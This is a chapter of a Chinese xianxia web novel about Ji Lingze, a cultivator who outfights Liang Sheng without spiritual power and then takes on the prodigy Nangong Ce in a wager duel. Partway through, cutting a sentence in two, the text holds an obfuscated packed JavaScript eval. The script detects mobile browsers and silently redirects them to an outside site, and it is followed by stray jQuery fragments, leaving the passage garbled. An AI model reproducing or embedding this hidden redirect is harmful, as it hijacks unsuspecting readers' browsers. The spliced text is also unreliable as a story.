就在所有人都以为季灵泽必输无疑之时,她动了。
只是一眨眼的功夫,白衣女子的身体如同一朵飘动的云,又像是一阵轻快的风,平地掠入半空。
众人甚至没能看清她的动作,只看见半空中一抹夺目的白色从闪耀的紫电中腾挪而过!
她自如地穿行在惊雷之中,炸开的雷声似在她耳边咆哮,她充耳不闻,动作轻盈如同在顺着雷声响起的频率舞蹈,缥缈的白衣流淌在墨色天空中。
天地灰暗,唯她皎然。
不过瞬息之间,躲过七七四十九道天雷。
做到这一切,她靠的是纯粹的速度与反应力,甚至没有动用灵力。
这一瞬间不只是对面的梁胜,所有观赛的人都感受到了巨大的压迫感。
越来越多的天雷劈下,又一次又一次被季灵泽四两拨千斤地躲过,梁胜额头上青筋暴起,他后退数步,剧烈地喘着气,握着剑的手再也维系不住,手中的剑锵然落在地上。
天空中的黑云渐渐散去,一抹烈阳冲破云层而出,笼罩了整个演武台,顷刻间风云变幻,白昼重现。
一缕阳光落在季灵泽的发梢上,将她的眸子照出琉璃般的色彩,她停下躲避,御剑缓缓降落,跳下剑后,她收起招财剑入鞘,一步步走向梁胜。
天公怒对施法者的身体也是极大的负担,梁胜眼睁睁看着她走来却无计可施,憋得汗都流了下来,他勉强积攒起一丝灵力,绷紧了手指,蓄势待发。
季灵泽的脚停在他身前三尺左右,弯腰捡起他掉落的剑递给他,平和道:“你的紫电。”
梁胜愣了愣,接过佩剑,沉默不语。
就在所有人都以为他要认输的时候,他突然暴起,提剑迎面劈了下去,紫电带着未散去的电光,直直逼至季灵泽身前,眼看就要落下!
季灵泽毫不意外,轻笑了一声。
她手中的招财剑顿时出鞘,不知何时那剑上居然沾染了方才电闪雷鸣中的一抹电弧,只见招财与紫电相撞,电与电争锋相对,刺眼的光束闪过,梁胜不得不眯了一下眼睛,季灵泽看准这个时机,手腕一翻,招财向上一挑,剑尖抵在了梁胜脖颈处,不动了。
全场寂静。
片刻后,几声清脆的掌声响起,郁观率先拍了几下手掌,很快回过神的人们陆续鼓起掌来,轰动的掌声立刻淹没了整个半山腰。
白衣仙修的断剑抵在对方喉咙上,神情自若。
胜负已定。
梁胜彻底脱力,他咬牙看了一眼季灵泽,深深呼吸几次后,抓起紫电下台,在同门的搀扶中离开了。
下一秒,台上的季灵泽再也维持不了什么仙风道骨高手风范,她迫不及待将一边的五千灵石揽入怀中,笑得眼睛都弯成了一条缝,丝毫没有方才面对天雷时的冷静和潇洒。
谁也没能想到这个名扬修真界的废材能一举打败梁胜,一时间,四下里响起一片窃窃私语。
郁观没眼看季灵泽见钱眼开的样子,他摇摇头,刚准备走,一抬头就看到了一个熟悉的人。
南宫策。
南宫家的长子,蓬莱洲的少主,修真界百年以来修炼速度最快的天才。
郁观最讨厌他,能在一百岁时修到金丹大圆满的四个修士大多有几分天之骄子的傲气,但南宫策最先突破金丹期进入元婴期,他不只是傲,还傲得很讨厌。
他身后乌泱泱跟着一群蓬莱洲的人,其中包括方才落败的梁胜,梁胜对南宫策低声说了几句,南宫策皱了一下眉,抬脚跨上演武台。
台下人均已经认出了他,一时间哗然。
“我没看错,那是南宫策吧?”
“就是他,他怎么会来这里?”
“难道是给梁胜讨说法?”
“他可是元婴期的天才,不至于欺负一个筑基吧。”
……
季灵泽摸着灵石的手微微一停,立刻把灵石放进储物袋里,偏头看向南宫策。
她不认识这个人,但能觉察出他的修为,警惕道:“你不会要把这些灵石要回去吧?这是我好不容易赢的。”
南宫策的武器是一把琴,名曰七弦桐,他指尖微动,别在腰间的精致匣子开了,七弦桐琴落在他掌心后迅速变大,横在他双手之间,每一根琴弦都泛着淡淡的青光。
台下已经有修士出声阻止:“南宫公子,演武台规矩,无对方同意,不得主动挑战境界低于自己的修士。”
南宫策淡淡瞥了一眼出声的修士,而后将目光转向季灵泽,冷淡道:“你的速度不该是筑基期,应当是金丹大圆满,说,你是不是隐瞒了自己的境界。”
他甚至没有用疑问的口吻,平铺直叙,十足的肯定。
郁观在台下没忍住幸灾乐祸地笑起来,终于有人和他当初一样不可置信错判凌七的境界了,这人还是一贯心高气傲的天才南宫策,莫名有点爽是怎么回事?
季灵泽见这人不是来要回自己的灵石的,顿时放下心来,她一摊手,特别坦荡:
“在下凌七,筑基前期,童叟无欺。”
“不可能!”南宫策注视着季灵泽,斩钉截铁,“我从来没见过筑基修士能不动用灵力躲过梁胜的天公怒。”
季灵泽只想拿着灵石回去继续补心脉,并不打算多费口舌,闻言,笑了笑:
“那你现在见到了。”
说罢,她收了招财剑,向台下走去,身后忽然响起一声琴弦响动声,与此同时,地面上长出了一根藤蔓,一把勾住了季灵泽的脚踝,阻止她继续前进。
这个举动很冒犯,季灵泽眉心一蹙,“啧”了一声,招财剑出手,干脆利索地一剑斩断了藤蔓,藤蔓一分为二,她用脚将藤蔓踢下台去,侧身,冷笑道:“你算什么东西也来挑衅我?”
她困得很,更兼心脉有伤,心情不太美妙,南宫策刚好撞到了枪口上。
此言一出,不管是台下还是台上都凝固了。
只有没心没肺的梁胜在一边大声道:“这是我们蓬莱洲少主,百年一遇的天才,这一届仙选大会元婴期第一人,南宫师兄!”
季灵泽扬眉,转过身盯着南宫策,懒洋洋地道:“演武台站不下这么多人。”
梁胜:“……”
与梁胜相比,南宫策显得很镇定,他抱琴望着她,言简意赅:“和我单挑一局。”
季灵泽抱臂,语气无波无澜:“你凭什么?”
南宫策的目光扫过她手中的断剑,道:“赢了我,一万灵石。”
一万!
季灵泽的目光顿时变了,她放下手,确认了一遍:“不用灵力赢你算吗?”
嚣张。
南宫策看她的目光冰冷如刀:"算。"
季灵泽又问:“我输了要给你一万灵石吗?”
南宫策已经有些不耐:“不必。”
她又仔细问道:“若你发现我确实是筑基,能给我三千灵石赔罪吗?”
南宫策彻底失去耐心:“给你便是!”
好人。大大的好人。
季灵泽看着他的目光一下子变得热切了起来,方才那点摩擦被她抛到了九霄云外,她立刻对着台下喊道:“南宫公子与我约好了,请诸君见证。”
郁观仰头看着台上的人,一时间不知道该说什么好。
凌七简直是……见钱眼开,她也不怕自己输了丢面子。
刚想着,他耳边突然响起了一道声音:“你一会儿如果发现他要逼我用灵力,及时叫停。”
季灵泽在台上站着,目光清湛,姿态从容,一点儿也看不出她现在偷偷用了隔空传音。
郁观:“……合着你没有把握啊。”
站在台上的季灵泽朝他隐晦地眨眨眼:“输了我又没什么损失。”
南宫策早已经失去耐心,见她同意下来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362822|183771||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当即抱着琴飘至上空,双指轻轻按了一下第一根弦。
只是一个很简单的动作,半山的草木却同时停下了摇摆,无数花、草、树、藤同时转向,面对季灵泽。
一时间,整座山静得只能听见台下修士们的呼吸声。
季灵泽目光沉静,招财出鞘,她没有立刻跨上去,而是微不可察地攥紧了剑柄。
“叮咚。”
南宫策修长的指尖缓慢拂过琴弦,悠扬的琴声如水波扩散开来,一圈一圈淹没了山林。
演武台下除了郁观以外的众人都被琴声影响,忍不住凝滞了一瞬间。
霎时间,离演武台近的所有草木都开始疯狂生长,原本只有拇指粗的藤蔓迅速变粗变大,长成了蟒蛇大小,密密麻麻地爬上演武台,长过半空中,浑身长满了尖锐的倒刺,猛然向季灵泽刺来!
下一秒,方才还站在原地的季灵泽凭空消失了。
南宫策眯了眯眼,不假思索按下琴弦抱琴旋身。
果然,季灵泽故技重施,从他身后砍来一剑,恰好与转身的南宫策对上,藤蔓仿佛预测了她的动向,眨眼间改变方向,倒刺比方才还长了十倍,眼看就要往季灵泽的后脑勺扎去!
他们对视一眼,南宫策还没来得及开口,就见季灵泽眼中浮现出一丝笑意。
台下的郁观头皮一紧。
他太熟悉凌七这个笑容了。
下一秒,南宫策眼睁睁看着这人干脆利索地单膝跪下了。
刺向季灵泽后脑的藤蔓来不及改向,朝着南宫策的咽喉而来,南宫策狠狠一抓琴弦,硬生生将藤蔓静止在离他咽喉一寸的地方。
就是这一秒的停顿,季灵泽顺着跪下来的姿势用招财剑的剑柄用力戳向南宫策的小腹,因为是比试,她没有下杀手,但这一击还是用了十成十的力气,撞击在南宫策身上时能听见极为明显的闷响。
“少主!”
台下蓬莱洲的弟子齐齐惊呼起来。
南宫策自幼境界提升就极快,宗门之中很少有能与他有一战之力的人,谁料到在一个散修手中吃了亏。
在季灵泽撞击过去的刹那,南宫策衣料上迅速长出一层密密实实的宽厚树叶,表面已经石化,季灵泽这一击直接干碎了那正在飞速生长的石叶,石叶瞬间土崩瓦解,消散成灰,南宫策受到冲击,连续后退几步,抱琴的手不稳地颤了一下。
季灵泽笑吟吟地道:“不要忘了我们的赌约。”
说话间,她抽出了招财剑,一跃而起,凌空砍下,剑气如虹,所到之处藤蔓尽碎。
元婴期对上筑基期,原本应该是碾压的状态,但南宫策和季灵泽的实战经验差距太大,居然一时间让季灵泽占了上风。
与此同时南宫策也回过神来,手指飞速上下翻飞,琴弦颤动,他的手指快出了残影,季灵泽的脚下苔藓突然开始疯长,滑腻的植物铺满了她站立的地方,季灵泽站立不稳,她立刻将招财剑扎入厚实的苔藓中,稳住自己的身形。
然而乐曲声愈发急促,苔藓顺着曲声暴涨,墨绿色毛茸茸的湿润苔藓像是一股漩涡,一下子长到了人的小腿处,立刻卷没了本来就只有一半的招财剑。
如此一来,季灵泽没有了武器,又无法使用灵力,只能赤手空拳与发狂的植物贴身肉搏,最糟糕的是,成堆的苔藓严重限制了她的活动,她每走一步就像在滑行,极为不便。
攻守易势,一身白衣的女子被大片大片浓重的绿色包围,天上的藤蔓,地上的苔藓,交织成一片绿色的海洋,几乎要把那个白点淹没。
“还是不愿用灵力吗?”南宫策的声音响起,他眉心紧皱,打到这个地步还不用灵力,她必然隐瞒了自己的境界。
台上台下一片肃静,无数双眼睛都盯着季灵泽,猜忌、嘲讽、怀疑、不解……
季灵泽面色不变,她抓着那把没入苔藓里的招财剑,静静站在原地。